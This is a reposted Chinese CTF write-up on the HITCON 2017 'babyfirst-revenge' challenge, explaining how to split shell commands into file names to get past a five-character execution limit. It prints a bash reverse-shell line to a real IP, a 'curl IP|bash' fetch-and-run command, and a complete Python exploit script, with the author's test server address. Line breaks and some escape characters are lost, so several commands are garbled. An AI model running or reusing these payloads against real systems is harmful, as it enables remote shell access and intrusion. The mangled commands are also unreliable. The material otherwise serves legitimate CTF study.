从一道ctf题目学到的绕过长度执行命令姿势

admin 2020年6月20日16:02:50评论88 views字数 2430阅读8分6秒阅读模式

0x01:linux中的 > 符号和 >> 符号

1.通过>来创建文件

>test.txtls

从一道ctf题目学到的绕过长度执行命令姿势

2.通过>将命令执行的结果存入文件中

echo "hello world">test

从一道ctf题目学到的绕过长度执行命令姿势

但是通过>来将命令执行结果写入文件会覆盖掉文件原本的内容,如果我们想要在原本文件内容后面追加内容就要使用>>

echo "aaa">testcat testecho "bbb">>testcat test

从一道ctf题目学到的绕过长度执行命令姿势

0x02:linux中命令换行

在linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加 "",可以将一条命令写在多行
比如我们有一个test文件内容如下:

echo hello world!

然后我们用sh命令来执行一下:

sh test

从一道ctf题目学到的绕过长度执行命令姿势

成功输出了 hello world!


0x03:ls -t命令

在linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)

touch atouch btouch cls -t

从一道ctf题目学到的绕过长度执行命令姿势


0x04:利用ls -t 和 > 以及换行符 绕过长度限制执行命令

我们先看执行如下命令的结果:

ls -t>testcat test

从一道ctf题目学到的绕过长度执行命令姿势

ls -t 命令列出文件名,然后每个文件名按行储存,如果我们将我们要执行的命令拆分为多个文件名,然后再结合命令换行,然后通过 ls -t > test这样的方式再写入某个文件来运行不就可以绕过命令长度限制了吗,而且从上面我们可以看出,ls -t>test的执行顺序是先创建文件test,然后执行ls -t,然后将执行结果写入test文件
我们可以做如下小实验:
比如我们要执行 echo hello world

> "rld"> "wo\"> "llo \"> "he\"> "echo \"ls -t > _sh _

从一道ctf题目学到的绕过长度执行命令姿势

我们可以看到,因为我们最后创建的文件 "_"的文件名会输入到文件中导致一个错误信息,但是并不影响我们下面命令的执行,最终成功的输出了 "hello world"

这里使用了两个 是因为我们需要转义掉多行命令的换行,如果我们只使用一个 那么就会被误解为正在多行执行命令,就会出现下面这种情况

echo hello world

从一道ctf题目学到的绕过长度执行命令姿势

0x05:hitcon 2017 babyfirst-revenge

这道ctf题目考的就是绕过长度限制执行命令

<?php    error_reporting(E_ALL);    $sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']);    mkdir($sandbox);    chdir($sandbox);    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {        exec($_GET['cmd']);    } else if (isset($_GET['reset'])) {        exec('/bin/rm -rf ' . $sandbox);    }    highlight_file(__FILE__);

既然可以执行命令,那么我们首先想到的是反弹一个shell回来
bash反弹shell的命令如下:

bash -i >& /dev/tcp/vps的ip/监听的端口 0>&1

空格需要转义

> \

构造空格就用去了五个字符,我们的语句里面有两个空格,而相同的文件名只能有一个,因此这里不能直接执行bash反弹shell
那么通过将反弹语句放在vps上,然后通过如下方式来执行:

curl ip地址|bash

我们先在自己的vps新建一个文件,内容为

bash -i >& /dev/tcp/120.79.33.253/7777 0>&1
然后在vps上面监听7777端口
nc -lv 7777

从一道ctf题目学到的绕过长度执行命令姿势

因为ls -t>_的长度也大于5,所以要要把ls -t>y写入文件
ls命令排序的规则是空格和符号最前,数字其次,字母最后

>ls\ls>_> \>-t\>>yls>>_

从一道ctf题目学到的绕过长度执行命令姿势

那么我们再构造curl 120.79.33.253|bash

>bash>|\>53\>2\>3.\>3\>9.\>7\>0.\>12\> \>rl\>cu\

然后运行

sh _
生成文件y

再执行

sh y

最后贴一下我的py脚本

#encoding:utf-8import requestsbaseurl = "http://120.79.33.253:9003/?cmd="reset = "http://120.79.33.253:9003/?reset"s = requests.session()s.get(reset)
# 将ls -t 写入文件_list=[ ">ls\", "ls>_", "> \", ">-t\", ">>y", "ls>>_"]
# curl 120.79.33.253|bashlist2=[ ">bash", ">|\", ">53\", ">2\", ">3.\", ">3\", ">9.\", ">7\", ">0.\", ">12\", "> \", ">rl\", ">cu\"]for i in list: url = baseurl+str(i) s.get(url)
for j in list2: url = baseurl+str(j) s.get(url)
s.get(baseurl+"sh _")s.get(baseurl+"sh y")#s.get(reset)

成功拿到shell
从一道ctf题目学到的绕过长度执行命令姿势

自搭测试地址:http://120.79.33.253:9003
想要复现一波的大佬可以复现一下,但请不要破坏环境
如有错误,还望各位大佬指出




文章作者:Drac文章来源:先知社区:https://xz.aliyun.com/t/2748文章参考:https://blog.csdn.net/calmegm/article/details/80874902https://www.leavesongs.com/SHARE/some-tricks-from-my-secret-group.htmlhttps://blog.csdn.net/calmegm/article/details/80874902

本文始发于微信公众号(LemonSec):从一道ctf题目学到的绕过长度执行命令姿势

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年6月20日16:02:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从一道ctf题目学到的绕过长度执行命令姿势http://cn-sec.com/archives/309749.html

发表评论

匿名网友 填写信息